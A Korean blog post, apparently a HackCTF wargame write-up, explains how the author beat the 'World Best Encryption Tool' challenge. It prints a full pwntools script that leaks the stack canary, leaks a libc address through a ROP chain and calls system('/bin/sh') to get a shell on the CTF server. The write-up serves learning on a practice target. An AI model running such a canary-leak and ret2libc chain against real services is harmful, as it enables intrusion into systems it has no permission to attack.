본문 바로가기

World Best Encryption Tool 본문

wargame/HackCTF

World Best Encryption Tool

Seongjun_You 2021. 12. 16. 21:35

카나리가 걸려있다.

 

 

 

 

데이터를 입력하면 이상한 문자들이 출력된다.

 

 

0x31만큼만 암호화를 진행한다.

그리고 src의 0x39만큼 dest에 복사를 한다.

 

빨간색 표시된 부분의 위쪽이 카나리이고 아래쪽이 ret주소이다.

printf함수가 널 바이트까지 출력한다는 것을 이용해 canary를 leak 한다.

 

 

 

canary를 leak 하였다.

 

 

그 후 ret까지 bof를 일으킨 후 rop를 진행하려 했다.

puts의 실제 주소를 출력하려 했으나 이상하게 안된다. 여기서 수많은 시간을 삽질했다.

 

그래서 scanf를 이용하기로 했다.

 

from pwn import *
p = remote("ctf.j0n9hyun.xyz",3027)
#p = process("./World_best_encryption_tool")
context.log_level = "Debug"
elf = ELF("./World_best_encryption_tool")
pr = 0x4008e3


payload = "a"*57
gdb.attach(p)
p.sendline(payload)

p.recvuntil("aaaaaaa")
canary = u64(p.recv(7)+"\x00")
canary = canary<<8
print("canary= " + str(hex(canary)))
p.sendlineafter("(Yes/No)\n", "Yes")

payload = "\x00"*120
payload += p64(canary)
payload += "a"*8
payload += p64(pr)
payload += p64(elf.got['__isoc99_scanf'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])


time.sleep(0.1)
p.sendline(payload)
time.sleep(0.1)
p.sendline("No")
time.sleep(0.1)
p.recvuntil("text? (Yes/No)\n")
addr_leak = u64(p.recv(6)+"\x00\x00")
print(hex(addr_leak))



libc_base = addr_leak - 0x6b4d0
system = libc_base + 0x45390
binsh = libc_base + 0x18cd57

payload = "\x00"*120
payload += p64(canary)
payload += "a"*8
payload += p64(pr)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)

p.sendline("No")
p.interactive()

puts의 주소 출력이 왜 안되는지 이유를 모르겠다.

 

 

 

'wargame > HackCTF' 카테고리의 다른 글

Unexploitable #2  (0) 2021.12.17
풍수지리설  (0) 2021.12.17
Register  (0) 2021.12.16
RTC  (0) 2021.12.16
SysROP  (0) 2021.12.16
Comments